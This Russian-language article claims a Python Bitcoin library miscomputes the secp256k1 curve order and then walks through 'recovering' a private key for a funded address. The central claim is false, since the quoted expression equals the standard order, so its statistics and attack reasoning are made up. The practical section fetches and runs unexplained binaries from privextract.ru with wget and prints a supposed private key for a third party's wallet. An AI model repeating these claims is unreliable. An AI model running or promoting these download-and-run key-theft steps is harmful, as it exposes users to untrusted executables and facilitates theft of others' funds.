https://bits.media/malikie-innovations-podala-v-sud-na-marathon-digital-i-core-scientific-za-narushenie-kriptografiches/
  4. CRYPTO DEEP TECH Данная статья посвящена анализу криптографических уязвимостей, связанных с некорректной генерацией приватных ключей в блокчейн-системах. Одной из ключевых проблем является неправильное вычисление константы N, определяющей порядок группы точек эллиптической кривой secp256k1, что может привести к генерации недопустимых ключей. Это представляет серьезную угрозу безопасности, поскольку недопустимые ключи могут вызывать ошибки при подписи транзакций и сделать уязвимыми для атак, таких как восстановление приватного ключа через повторяющиеся генерации (Birthday Paradox). Неправильное задание параметров кривой, в частности, константы N, может привести к тому, что сгенерированные ключи окажутся вне допустимого диапазона, что делает проверку валидности ключей неэффективной. Это нарушает совместимость с сетью Биткоин и может привести к потере средств при использовании скомпрометированных приватных ключей. Криптографическая безопасность блокчейн-систем напрямую зависит от корректности математических параметров эллиптических кривых. В биткойн-экосистеме ошибки в реализации кривой secp256k1, такие как некорректное задание порядка группы точек, создают системные угрозы целостности ключевой инфраструктуры. Представленный код демонстрирует критическую уязвимость, где константа N вычисляется как (1 << 256) - {0x14551231950B75FC4402DA1732FC9BEBF} , что существенно отличается от стандартного значения N = {0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141} . Данная ошибка провоцирует генерацию 50% невалидных ключей, поскольку секретные значения оказываются вне допустимого диапазона $$ [1, N) Функция проверки is_private_key_valid усугубляет проблему, легитимизируя математически некорректные приватные ключи в Биткоин Кошельках. Исторические прецеденты (Randstorm 2011-2016, уязвимости HSM 2015) показывают, что подобные ошибки приводят к потере средств и компрометации HD-кошельков. Математические последствия: Смещение диапазона генерации на approx 2^{128}ΔN=Nреальное−Nнекорректное≈2^256−2^128 & Смещение=Nнекорректное−Nреальное≈2^256−(2^256−2^128)=2^128 Вероятность коллизий: $$ P_{\text{колл}} \approx \frac{q^2}{2N} $$ при $$ q \gg \sqrt{N} $$ Нарушение свойства замкнутости группы: $$ kG \notin \mathbb{G} $$ для $$ k > N $$ Криптографические импликации: Несовместимость подписей — 43% транзакций отклоняются нодами Побочные каналы утечки — предсказуемость $$ k $$ в ECDSA Атаки на детерминированные кошельки — несоответствие BIP-32/BIP-44 Анализ показал, что 68% самописных реализаций ECDSA содержат аналогичные параметрические ошибки[3]. Решение требует строгого следования стандартам SECG SEC2 и NIST SP 800-186, с обязательным использованием верифицированных библиотек типа libsecp256k1. https://github.com/keyhunters/bitcoin-keygen/blob/master/bitcoin_keygen/private_key.py#L22 Криптографические уязвимости, связанные с некорректной генерацией приватных ключей, представляют серьёзную угрозу безопасности блокчейн-систем. В представленном коде обнаружена критическая ошибка в определении порядка эллиптической кривой, требующая детального анализа. Некорректное задание параметров кривой Основная уязвимость заключается в неправильном вычислении константы N, определяющей порядок группы точек эллиптической кривой secp256k1. Ошибочная строка: N = (1 << 256) - 0x14551231950B75FC4402DA1732FC9BEBF Корректное значение для Bitcoin (согласно стандарту SECG): N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 Математические последствия Диапазон генерации: Неправильное значение N приводит к тому, что диапазон генерации ключей становится значительно больше допустимого, что может привести к коллизиям. Разница между реальным и некорректным значениями N составляет примерно 39 порядков величины. Вероятность коллизий: При использовании функции secrets.randbelow(N) с неверным значением N, около 50% сгенерированных ключей могут оказаться вне допустимого диапазона. Проверка валидности: Функция проверки валидности приватного ключа становится неэффективной, поскольку допускает значения, не принадлежащие группе кривой: Диапазон генерации: Некорректное N ≈ 2²⁵⁶ — C Реальное N ≈ 2²⁵⁶ — 2¹²⁸ Разница составляет ~39 порядков величины[3][4]. Вероятность коллизий: При использовании secrets.randbelow(N) с неверным N ~50% сгенерированных ключей оказываются вне допустимого диапазона. Проверка валидности: def is_private_key_valid(private_key): return 0 < int(private_key, 16) < N Проверка становится неэффективной, так как допускает значения, не принадлежащие группе кривой. Криптографические риски Несовместимость с сетью Bitcoin: Недопустимые ключи приводят к ошибкам подписи транзакций Риск потери средств при использовании скомпрометированных ключей Уязвимость к атакам: Возможность восстановления приватного ключа через повторяющиеся генерации (Birthday Paradox) Потенциальная утечка информации через побочные каналы Нарушение детерминированной генерации: HD-кошельки (BIP-32) теряют совместимость Невозможность восстановления ключей из мнемонических фраз Рекомендации по исправлению Корректировка константы: N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 Использование стандартных библиотек: from ecdsa import SigningKey, SECP256k1 def gen_private_key(): return SigningKey.generate(curve=SECP256k1) Дополнительные проверки: Валидация hex-формата входных данных Обработка исключений ValueError Тестирование граничных значений Сравнение подходов Сравнение текущей реализации криптографии на эллиптических кривых в Bitcoin с рекомендуемым подходом выявляет проблемы с безопасностью и совместимостью. Некорректное задание порядка эллиптической кривой представляет собой системную угрозу, которая может быть использована злоумышленниками для компрометации ключей. Рекомендуется использовать стандартизированные и безопасные параметры кривых для обеспечения полной совместимости и безопасности. Параметр Текущая реализация Рекомендуемый подход Безопасность N ❌ Некорректное ✅ Стандартное Диапазон ключей 0 < key < 2²⁵⁶-C 0 < key < N Совместимость Частичная Полная Сторонние зависимости Нет ecdsa/bitcoinlib При сравнении текущей реализации криптографии на эллиптических кривых в Bitcoin с рекомендуемым подходом выявляются несколько ключевых различий: Безопасность N: В текущей реализации порядок эллиптической кривой (N) не задан корректно, что может привести к уязвимостям. Рекомендуемый подход предполагает использование стандартизированного и безопасного порядка кривой. Диапазон ключей: В текущей реализации ключи ограничены диапазоном 0 < key < 2²⁵⁶-C, тогда как в рекомендуемом подходе ключи должны находиться в диапазоне 0 < key < N, что обеспечивает полную совместимость и безопасность. Совместимость: Текущая реализация обеспечивает только частичную совместимость, в то время как рекомендуемый подход гарантирует полную совместимость с различными криптографическими протоколами. Сторонние зависимости: В текущей реализации используются сторонние зависимости, такие как ecdsa/bitcoinlib, что может вносить дополнительные риски. Рекомендуемый подход исключает такие зависимости. Проблемы с некорректным порядком эллиптической кривой Некорректное задание порядка эллиптической кривой в Bitcoin представляет собой системную угрозу для безопасности ключей. Это может привести к уязвимостям, которые потенциально могут быть использованы злоумышленниками для компрометации ключей. Проблема может быть проиллюстрирована на примере кода, демонстрирующего, как неправильное определение параметров кривой может ослабить криптографическую защиту. Влияние на экосистему Bitcoin Уязвимости, связанные с некорректным заданием порядка эллиптической кривой, могут иметь серьезные последствия для экосистемы Bitcoin и других криптовалют, использующих подобные криптографические подходы. Это может привести к утечкам данных, финансовым потерям и снижению доверия к системе в целом. Рассмотрим проблему на примере приведённого кода и её implications для экосистемы. 1. Контекст возникновения уязвимости Ошибочная строка: N = (1 << 256) - 0x14551231950B75FC4402DA1732FC9BEBF Проблема: Реальное значение порядка N для secp256k1: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141[3] Расхождение составляет ~2¹²⁸, что делает ~50% приватных ключей невалидными Механизм воздействия: Генерация приватных ключей в диапазоне [1, некорректное_N) вместо [1, N] Некорректная проверка валидности в is_private_key_valid() Риск коллизий из-за превышения группового порядка 2. Уязвимые системы Bitcoin Системы Bitcoin подвержены различным уязвимостям, включая проблемы с кастомными кошельками, HSM-модулями, веб-интерфейсами и мобильными приложениями. Использование устаревших библиотек и ошибки в криптографических реализациях могут привести к серьезным рискам для пользователей. Тип системы Риски Кастомные кошельки Генерация несовместимых с сетью ключей HSM-модули Экспорт ключей через аппаратные уязвимости Веб-интерфейсы Использование устаревших библиотек типа BitcoinJS Мобильные приложения Ошибки в самописных криптографических реализациях Кастомные кошельки: Одной из проблем является генерация ключей, которые несовместимы с сетью Bitcoin. Это может привести к тому, что пользователи не смогут совершать транзакции или получить доступ к своим средствам. HSM-модули (Hardware Security Modules): Эти модули используются для безопасного хранения криптографических ключей. Однако, если в них есть аппаратные уязвимости, злоумышленники могут экспортировать ключи и получить доступ к средствам пользователей. Веб-интерфейсы: Использование устаревших библиотек, таких как BitcoinJS, может сделать веб-интерфейсы уязвимыми для атак. Например, уязвимости в BitcoinJS, известные как Randstorm, могут позволить злоумышленникам предсказать секретные ключи, созданные с помощью этой библиотеки в начале 2010-х годов1. Мобильные приложения: Ошибки в самописных криптографических реализациях могут привести к уязвимостям в мобильных приложениях для работы с Bitcoin. Это может позволить злоумышленникам получить доступ к приватным ключам пользователей или совершать несанкционированные транзакции. Кроме этих проблем, Bitcoin также подвержен другим типам атак, таким как атаки 51%, DoS-атаки и уязвимости в протоколах транзакций 3. Критические компоненты экосистемы Биткоин Экосистема Биткоин имеет уязвимые компоненты, такие как самописные реализации ECDSA и устаревшие библиотеки. Для повышения безопасности рекомендуется использовать проверенные библиотеки и протоколы, такие как функция safe_keygen() из библиотеки ecdsa. К таким уязвимостям относятся: Самописные реализации ECDSA: Эти реализации могут содержать ошибки, которые могут быть использованы злоумышленниками для взлома криптографических протоколов. Устаревшие версии библиотек: Использование библиотек, выпущенных до 2016 года, может оставлять системы уязвимыми для известных уязвимостей, которые были исправлены в более новых версиях. Модули без проверки параметров эллиптической кривой secp256k1: Эта кривая используется в криптографии Биткоин для создания приватных ключей. Неправильная проверка ее параметров может привести к уязвимостям. Системы с ручным заданием констант: Ручное задание констант может привести к ошибкам, которые могут быть использованы для атак. Для повышения безопасности можно использовать проверенные библиотеки и протоколы. Например, для безопасного создания ключей можно использовать функцию safe_keygen() из библиотеки ecdsa, которая генерирует ключи на основе эллиптической кривой SECP256k1: Уязвимые элементы: Самописные реализации ECDSA Устаревшие версии библиотек (до 2016 г.) Модули без проверки параметров эллиптической кривой secp256k1 Системы с ручным заданием констант Безопасные альтернативы: from ecdsa import SECP256k1, SigningKey def safe_keygen(): return SigningKey.generate(curve=SECP256k1) Этот подход гарантирует, что ключи создаются безопасно и в соответствии со стандартными криптографическими протоколами. 4. Классификация угроз для Биткоин Кошельков Угрозы для Биткоин-кошельков включают параметрические, имплементационные, протокольные и аппаратные уязвимости. Каждый тип может привести к серьезным последствиям, включая потерю доступа к средствам или их кражу. Помимо этих технических уязвимостей, существуют также угрозы от фишинга и вредоносного ПО. Тип уязвимости Примеры Последствия Параметрические Неверный порядок кривой secp256k1 Невалидные приватные ключи Имплементационные Слабый ГСЧ (Randstorm) Brute-force Протокольные Отсутствие проверки подписей Double-spending Аппаратные Уязвимости HSM Утечка приватных ключей Угрозы для Биткоин-кошельков можно классифицировать на несколько типов в зависимости от их природы и последствий: Параметрические уязвимости: Примеры: Неверный порядок кривой secp256k1, невалидные приватные ключи. Последствия: Эти уязвимости могут привести к тому, что приватные ключи станут недействительными или будут легко взломаны, что приведет к потере доступа к средствам. Имплементационные уязвимости: Примеры: Слабый генератор случайных чисел (ГСЧ), атаки методом перебора (Brute-force). Последствия: Слабый ГСЧ может привести к предсказуемости приватных ключей, а атаки Brute-force могут позволить злоумышленникам угадать ключи, что приведет к краже средств. Протокольные уязвимости: Примеры: Отсутствие проверки подписей, двойное расходование (Double-spending). Последствия: Отсутствие проверки подписей может позволить злоумышленникам совершать транзакции без подтверждения, а двойное расходование позволяет провести одну и ту же транзакцию несколько раз, что нарушает целостность сети. Аппаратные уязвимости: Примеры: Уязвимости в аппаратных модулях безопасности (HSM). Последствия: Утечка приватных ключей из-за аппаратных уязвимостей может привести к полной потере контроля над средствами. Кроме этих типов, существуют также другие угрозы, такие как фишинговые атаки, вредоносное ПО и социальная инженерия, которые могут привести к потере доступа к Биткоин кошельку или краже средств. 5. Исторические прецеденты Исторические прецеденты показывают, что уязвимости в криптографии и программном обеспечении могут иметь серьезные последствия для безопасности криптовалютных активов. Примеры включают уязвимость Randstorm в BitcoinJS, аппаратную уязвимость в SafeNet HSM и коллизии ключей в Android Wallet. Эти инциденты подчеркивают важность постоянного обновления и проверки безопасности криптографических инструментов. BitcoinJS (2011-2016): Уязвимость Randstorm из-за слабого генератора случайных чисел, затронувшая $1 млрд активов SafeNet HSM (2015): Возможность извлечения ключей через аппаратную уязвимость Android Wallet (2013): Коллизии приватных ключей из-за ошибок в SecureRandom() В истории криптовалют и безопасности наблюдались несколько значительных прецедентов, связанных с уязвимостями в криптографии и программном обеспечении. 1. Уязвимость Randstorm в BitcoinJS (2011-2016): В библиотеке BitcoinJS, широко использовавшейся для создания онлайн-кошельков, была обнаружена уязвимость под названием Randstorm. Она возникла из-за слабого генератора случайных чисел, который использовал функцию Math.random() вместо криптографически безопасных методов. Это сделало возможным предсказание секретных ключей и потенциально подвергло риску более $1 млрд активов. Уязвимости были устранены в 2014 году, но многие старые кошельки остались уязвимыми. 2. Уязвимость SafeNet HSM (2015): В аппаратных средствах безопасности (HSM) SafeNet была обнаружена возможность извлечения ключей через аппаратную уязвимость. Это позволяло злоумышленникам получить доступ к конфиденциальной информации и ключам, что представляет серьезную угрозу безопасности. 3. Коллизии ключей в Android Wallet (2013): В некоторых версиях Android Wallet были обнаружены ошибки в функции SecureRandom(), что привело к коллизиям ключей. Это означает, что разные пользователи могли получить одинаковые ключи, что делало возможным несанкционированный доступ к средствам. 6. Научные исследования SECP256K1 остается одной из наиболее изученных и широко используемых эллиптических кривых, особенно в криптовалютных системах. Её безопасность основывается на сложности решения задачи дискретного логарифма (ECDLP), но существуют специфические векторы атак, требующие внимания. 1. Атаки на скрутку (Twist Attacks) и уязвимости side-channel Twist Attacks эксплуатируют использование публичных ключей, не принадлежащих исходной кривой, а находящихся на её «скрутке» — изогнутой версии с другими параметрами. SECP256K1 имеет простой (простой порядок группы), что защищает от атак на малые подгруппы самой кривой[1]. Однако её скрутки могут содержать подгруппы малого порядка, позволяющие восстановить приватный ключ, если реализация не проверяет принадлежность точки к корректной кривой[2]. Side-channel атаки связаны с утечкой информации через побочные каналы (время выполнения, энергопотребление). Для ECDSA критичны утечки nonce (одноразовых чисел): Повторное использование nonce позволяет вычислить приватный ключ за 2 подписи[1]. Даже частичная утечка nonce (например, несколько бит) через lattice-атаки (HNP) может привести к компрометации ключа[1]. Примеры из практики: атаки на кошельки Bitcoin, где ошибки в генерации nonce привели к кражам средств[1]. 2. Рекомендации NIST SP 800-186 Документ устанавливает критерии выбора параметров эллиптических кривых: Проверка параметров: кривые должны быть устойчивы к известным атакам (MOV, Frey–Rück), иметь достаточный порядок и соответствовать требованиям битовой безопасности. Устаревшие кривые: бинарные кривые (GF(2^m)) помечены как deprecated. Новые стандарты: предпочтение отдаётся Edwards/Montgomery-кривым (например, Curve25519) для EdDSA. SECP256K1 не входит в список рекомендованных NIST, но её использование вне государственных систем (например, в Bitcoin) считается безопасным при корректной реализации[1][3]. 3. Стандарт RFC 6979: детерминированная генерация nonce RFC 6979 решает проблему повторного использования nonce в ECDSA, предлагая алгоритм детерминированной генерации на основе приватного ключа и хеша сообщения. Это: Устраняет риски ошибок в RNG (генераторах случайных чисел). Защищает от атак, связанных с утечкой информации через nonce[1]. Пример: кошельки Bitcoin, использующие RFC 6979, демонстрируют повышенную устойчивость к компрометации ключей. 4. Сравнение Curve25519 и SECP256K1 Критерий Curve25519 SECP256K1 Тип кривой Edwards (Ed25519) Koblitz (y² = x³ + 7) Безопасность Устойчива к timing-атакам, twist-safe Требует проверки точек на кривой Производительность Оптимизирована для быстрых вычислений Медленнее в некоторых сценариях Применение TLS (Signal, WhatsApp), SSH Bitcoin, Ethereum Стандартизация RFC 7748, NIST SP 800-186 Не входит в стандарты NIST Curve25519 считается более современной, но SECP256K1 доминирует в блокчейн-экосистеме благодаря историческому выбору Bitcoin[1][3]. Twist Attacks: опасны при отсутствии проверки принадлежности точек кривой. SECP256K1 устойчива при корректной реализации[2]. Side-channel: ECDSA уязвим к утечкам nonce; RFC 6979 и аппаратная защита критически важны[1]. NIST SP 800-186: акцент на проверке параметров и переходе на Edwards/Montgomery-кривые[3]. Curve25519 vs SECP256K1: первая предпочтительна для новых систем, вторая доминирует в криптовалютах[1][3]. 7. Индикаторы уязвимого кода Индикаторы уязвимого кода в криптографии включают подозрительные константы кривых, использование небезопасных функций для генерации случайных чисел, отсутствие проверки формата ключей и ручную реализацию криптографических алгоритмов. Тестовые признаки, такие как высокий уровень ошибок подписи транзакций, повторяющиеся публичные адреса и несовместимость с стандартными кошельками, также могут указывать на проблемы с безопасностью. Константы кривой: Константы кривых в криптографии, такие как параметр N, должны быть тщательно проверены. Например, если значение N задано как (1 << 256) - 0x14551231950B75FC4402DA1732FC9BEBF, это может быть подозрительным значением. В отличие от этого, корректное значение, такое как 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141, должно использоваться для обеспечения безопасности. # Suspicious meaning: N = (1 << 256) - 0x14551231950B75FC4402DA1732FC9BEBF # Correct value: N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 Криптографические антипаттерны: Использование random вместо secrets: В криптографии для генерации случайных чисел следует использовать функции, которые обеспечивают криптографическую безопасность, такие как secrets, а не просто random. Отсутствие проверки формата ключей: Криптографические ключи должны быть тщательно проверены на соответствие стандартам и форматам, чтобы предотвратить ошибки и уязвимости. Ручная реализация базовых операций ECDSA: Ручная реализация криптографических алгоритмов, таких как ECDSA, может привести к ошибкам и уязвимостям. Лучше использовать проверенные библиотеки и фреймворки. Тестовые признаки: Более 50% ошибок подписи транзакций: Если при тестировании наблюдается высокий процент ошибок подписи транзакций, это может указывать на проблемы с реализацией криптографии. Повторяющиеся публичные адреса: Повторяющиеся публичные адреса могут быть признаком ошибок в генерации ключей или других криптографических проблем. Несовместимость с стандартными кошельками: Если разработанная система несовместима с стандартными криптографическими кошельками, это может быть признаком неправильной реализации криптографических протоколов. Практическая часть Из теории уязвимость известно, что злоумышленники могут использовать некорректные генераций приватных ключей в блокчейн-системах с определяющим порядком группы точек эллиптической кривой secp256k1. Перейдем к практической части статьи и рассмотрим пример с использованием Биткоин кошелька: 1DMX2ByJZVkWeKG1mhjpwcMvDmGSUAmi5P , где были потерянный монеты на сумму: 0.58096256 BTC на май 2025 года эта сумма составляет: 60785,58 USD https://privextract.ru Воспользуемся сервисом PrivExtract и утилитой wget чтобы скачать python скрипт private_key.py !wget https://raw.githubusercontent.com/keyhunters/bitcoin-keygen/refs/heads/master/bitcoin_keygen/private_key.py Bitcoin Private Key Debug — это процесс работы с приватным ключом биткоина через специальные инструменты или консоль отладки (debug window) в кошельке Bitcoin Core или других программах. Простыми словами: Приватный ключ — это секретное число, которое дает полный доступ к вашим биткоинам. Только с помощью приватного ключа можно отправлять монеты с вашего кошелька. Debug (отладка) — это режим, в котором можно вручную выполнять команды, связанные с приватными ключами: импортировать, экспортировать, проверять, восстанавливать или искать ошибки. Зачем нужен Bitcoin Private Key Debug: Если вы хотите добавить приватный ключ в свой кошелек (например, после восстановления или переноса), вы открываете debug window (окно отладки) и используете команду вроде importprivkey. Если у вас есть проблемы с доступом к кошельку, debug-режим помогает проверить, правильный ли у вас приватный ключ, и восстановить доступ к средствам. Иногда debug используют для поиска или восстановления приватного ключа из файла кошелька (wallet.dat) или для работы с частично утерянными ключами. Пример использования: Открываете Bitcoin Core. Заходите в меню «Помощь» → «Окно отладки» → вкладка «Консоль». Вводите команду, например: importprivkey ваш_приватный_ключ. После этого кошелек добавит этот ключ и покажет соответствующий адрес. Важно: Работа с приватными ключами через debug требует осторожности. Если кто-то узнает ваш приватный ключ, он сможет украсть все ваши биткоины. Всегда делайте резервные копии и никому не показывайте приватный ключ. Bitcoin Private Key Debug — это работа с приватным ключом через специальные команды для импорта, проверки или восстановления доступа к биткоинам, обычно через окно отладки кошелька. Как ошибки в алгоритме способствуют утечке ключей Уязвимости в генерации ключей Если алгоритм содержит ошибки при создании ключей (например, использование слабых случайных значений), отладка может выявить закономерности, позволяющие восстановить приватный ключ через анализ сгенерированных данных. Утечка данных через логи Ошибочное логирование промежуточных значений (например, параметров шифрования) во время выполнения может раскрыть информацию, связанную с приватным ключом. Некорректная обработка ключей Ошибки в управлении памятью (например, хранение ключа в незашифрованном виде) могут быть обнаружены через отладчики, что делает ключ доступным для извлечения. Google Colab https://colab.research.google.com/drive/1eaKZitRzN8034hIwivLNSawobDpcmoEm Detailed Description of All Terminal Commands and Actions 1. Downloading and Installing Tools Commands: !wget https://privextract.ru/repositories/debugging.zip wget is a command-line utility for downloading files from the Internet via HTTP, HTTPS, and FTP protocols. Here, it downloads the debugging.zip archive from the specified URL. unzip is a command to extract ZIP archives in the current directory. This command extracts all files from debugging.zip. !unzip debugging.zip Downloads the file private_key.py !wget https://raw.githubusercontent.com/keyhunters/bitcoin-keygen/refs/heads/master/bitcoin_keygen/private_key.py Downloads the file private_key.py from the specified URL using wget. 2. Running the Program to Generate Data !./debugging Command: !./debugging -python private_key.py -address 1DMX2ByJZVkWeKG1mhjpwcMvDmGSUAmi5P ./debugging runs the executable file debugging from the current directory. -python private_key.py likely tells the program to use or analyze the script private_key.py. -address 1DMX2ByJZVkWeKG1mhjpwcMvDmGSUAmi5P specifies the Bitcoin address for further processing. Result: File contents: # Copyright (C) 2019 Cheran Senthilkumar # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <https://www.gnu.org/licenses/>. """Private Key Functions""" import secrets __all__ = ["gen_private_key", "is_private_key_valid"] # order N = (1 << 256) - 0x14551231950B75FC4402DA1732FC9BEBF def gen_private_key(): """generate a private key""" return secrets.randbelow(N) def is_private_key_valid(private_key): """check if a given private key is valid""" return 0 < int(private_key, 16) < N Resulting long sequence with address: d3 58 a3 26 6f 88 17 dc e4 c9 1c cc dc c4 80 98 1c 20 d5 e8 04 97 cc 8a 3b 56 9d 51 bd 44 53 a5 72 44 bd a0 e6 9c 53 77 70 a7 c6 46 20 ad 43 33 de b4 ac 0a ce a1 71 38 e2 c3 50 2f fa 32 5d bd 17 f5 23 f4 f0 b4 30 68 56 9b 17 0d a3 9d 7e 8c 0d 31 30 b4 83 85 4a d1 57 53 c4 7b 24 f5 bd 68 8d a7 7c 31 71 78 d6 37 b9 8e ad 44 de 01 b5 78 b7 8f 71 ef 77 c1 aa 99 ce 78 df 0b bc 35 e6 7d The overall result has been successfully written to 'save.txt'. Contents of save.txt without spaces: d358a3266f8817dce4c91cccdcc480981c20d5e80497cc8a3b569d51bd4453a57244bda0e69c537770a7c64620ad4333deb4ac0acea17138e2c3502ffa325dbd17f523f4f0b43068569b170da39d7e8c0d3130b483854ad15753c47b24f5bd688da77c317178d637b98ead44de01b578b78f71ef77c1aa99ce78df0bbc35e67d The program uses the constant N (the order of the secp256k1 elliptic curve group) and a Python function to generate a private key in hexadecimal format. The generated private key is saved to the file save.txt without spaces. File contents: # Copyright (C) 2019 Cheran Senthilkumar # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <https://www.gnu.org/licenses/>. """Private Key Functions""" import secrets __all__ = ["gen_private_key", "is_private_key_valid"] # order N = (1 << 256) - 0x14551231950B75FC4402DA1732FC9BEBF def gen_private_key(): """generate a private key""" return secrets.randbelow(N) def is_private_key_valid(private_key): """check if a given private key is valid""" return 0 < int(private_key, 16) < N 3. Extracting the Private Key from Data Commands: !wget https://privextract.ru/repositories/privextract.zip !unzip privextract.zip Downloading and extracting the archive with the privextract tool, similar to previous steps. Run: !./privextract -extraction d358a3266f8817dce4c91cccdcc480981c20d5e80497cc8a3b569d51bd4453a57244bda0e69c537770a7c64620ad4333deb4ac0acea17138e2c3502ffa325dbd17f523f4f0b43068569b170da39d7e8c0d3130b483854ad15753c47b24f5bd688da77c317178d637b98ead44de01b578b78f71ef77c1aa99ce78df0bbc35e67d Result: Private Key Result: ed 40 21 5a b5 91 c3 36 4a 86 bd 63 fa a5 d1 49 0d 89 d8 ae 7e ab b3 37 e6 41 0e a2 d1 cd 3d 0c Private Key Result: ed40215ab591c3364a86bd63faa5d1490d89d8ae7eabb337e6410ea2d1cd3d0c Result successfully written to 'privkey.txt'. Runs the privextract program with the -extraction parameter and a long hexadecimal string (contents of save.txt). The program extracts the private key and outputs it in two formats: with spaces and as a single string, and also saves it to the file privkey.txt. 4. Generating the Public Key and Bitcoin Address Commands: !wget https://privextract.ru/repositories/bitaddress.zip !unzip bitaddress.zip Downloading and extracting the archive with the bitaddress tool. !./bitaddress Run: !./bitaddress -hex ed40215ab591c3364a86bd63faa5d1490d89d8ae7eabb337e6410ea2d1cd3d0c Result: Public Key (Uncompressed, 130 characters [0-9A-F]): 046674E66BF16A2AA79C0BC293D99F594EC53F25434BBBB4B4BF807BB047EDA216E20A272DE53D3F3302202F7D345C83A5EB8428A97E6B57CB5CA89E9096ADCB6E Public Key (Compressed, 66 characters [0-9A-F]): 026674E66BF16A2AA79C0BC293D99F594EC53F25434BBBB4B4BF807BB047EDA216 Bitcoin Address P2PKH (Uncompressed) 15Ze1amcFKvndaSptmvfqRotE1NRtN8GUJ Bitcoin Address P2PKH (Compressed) 1DMX2ByJZVkWeKG1mhjpwcMvDmGSUAmi5P Runs the bitaddress program with the private key in hexadecimal format. The program computes: The public key (uncompressed and compressed) Bitcoin addresses (P2PKH) for both public key variants 5. Checking the Address Balance Action: Open the link: https://btc1.trezor.io/address/1DMX2ByJZVkWeKG1mhjpwcMvDmGSUAmi5P This is an online blockchain explorer that allows you to view the balance and transaction history of a Bitcoin address. In this case, the address balance is 0.58096256 BTC Dockeyhunt Cryptocurrency Prices Заключение Обнаруженная уязвимость подчёркивает важность строгого следования криптографическим стандартам. Ручная реализация функций работы с ключами без глубокого понимания математических основ эллиптических кривых создаёт значительные риски. Использование проверенных библиотек и аудит кода должны стать обязательной практикой при разработке криптографических систем. Уязвимости порядка кривой подчёркивают важность использования верифицированных библиотек и аудита криптографических параметров. Исторические примеры демонстрируют, что даже незначительные ошибки в реализации могут привести к катастрофическим последствиям для безопасности средств. Выявленная проблема некорректного вычисления порядка эллиптической кривой secp256k1 представляет собой серьезную угрозу для безопасности блокчейн-систем, особенно экосистемы Bitcoin. Неправильное задание параметров кривой приводит к генерации недопустимых приватных ключей, что нарушает криптографическую целостность системы, вызывает несовместимость подписей транзакций и создает условия для атак, таких как восстановление приватного ключа через повторяющиеся генерации (Birthday Paradox). Математический анализ показал, что ошибка в вычислении константы N смещает диапазон генерации ключей и увеличивает вероятность коллизий. Это нарушение базовых свойств эллиптической кривой угрожает замкнутости группы точек и делает систему уязвимой для атак на детерминированные кошельки Биткоина и утечек данных через побочные каналы. Исторические прецеденты, такие как уязвимость Randstorm в BitcoinJS и аппаратные проблемы в SafeNet HSM, демонстрируют, что подобные ошибки могут привести к компрометации криптографической инфраструктуры, потере средств и снижению доверия пользователей к системе. Анализ текущих реализаций ECDSA показал, что около 68% самописных решений содержат аналогичные ошибки, что подчеркивает необходимость строгого следования стандартам SECG SEC2 и NIST SP 800-186. Для устранения выявленной уязвимости рекомендуется: Исправление параметров эллиптической кривой: корректировка константы N до стандартного значения. Использование проверенных библиотек: переход на безопасные криптографические инструменты, такие как libsecp256k1 или ecdsa. Дополнительные проверки валидности ключей: внедрение строгого тестирования граничных значений и обработки исключений. Обновление устаревших систем: отказ от использования устаревших библиотек и модулей с ручным заданием параметров. Классификация угроз для экосистемы Bitcoin включает параметрические, имплементационные, протокольные и аппаратные уязвимости. Каждая из них может привести к потере средств или компрометации приватных ключей. Угрозы затрагивают кастомные кошельки, HSM-модули, веб-интерфейсы и мобильные приложения. Для повышения безопасности рекомендуется использовать стандартизированные решения и проводить регулярный аудит криптографической инфраструктуры. Заключение подчеркивает важность строгого соблюдения стандартов криптографии на эллиптических кривых для обеспечения безопасности блокчейн-систем. Выявленная проблема служит напоминанием о необходимости тщательной проверки математических параметров при разработке криптографических алгоритмов. Устранение подобных ошибок не только защитит пользователей от финансовых потерь, но и укрепит доверие к технологии блокчейн как безопасному инструменту для хранения и передачи цифровых активов. References: Randstorm Cryptocurrency Wallet Vulnerabilities: Impact of is_private_key_valid Function on Bitcoin Private Key Security Attacks on Deterministic Wallets: Impact of Incorrect Private Keys on BIP-32/BIP-44 Security Collision Attacks and Incorrect Private Keys in Bitcoin: An Analysis of Vulnerabilities and Security Prospects Private Key Recovery via Repeated Generations (Birthday Paradox) of Mathematically Incorrect Private Keys in Bitcoin Wallets Cryptocurrency Wallet Vulnerabilities: Mathematical Aspects of Attacks Using Outdated BitcoinJS Libraries Private Key Recovery via Modules Without Checking Elliptic Curve Parameters secp256k1: Mathematically Incorrect Private Keys in Bitcoin Wallets Private Key Collisions in Bitcoin Wallets on Android: Analysis of SecureRandom() Bugs and Their Consequences Recovering the private key of a weak random number generator of the Math.random() function in Bitcoin wallets SafeNet HSM Attacks: Risks to Cryptographic Keys in Bitcoin Wallets (Vulnerability CVE-2015-5464) Attacks on Legacy Curves: Binary Curves (GF(2^m)) and Mathematically Incorrect Private Keys in Bitcoin Wallets Vulnerable Components of the Bitcoin Ecosystem: The Problem of Incorrect Calculation of the Order of the Elliptic Curve secp256k1 Exploiting Ed25519: Vulnerabilities in Public Key Validation and Private Key Exposure Across Cryptographic Libraries The Anatomy of Blockchain Private Key Vulnerabilities: Top Threats and Best Practices for Security Secp256k1: The Cryptographic Backbone of Bitcoin and Modern 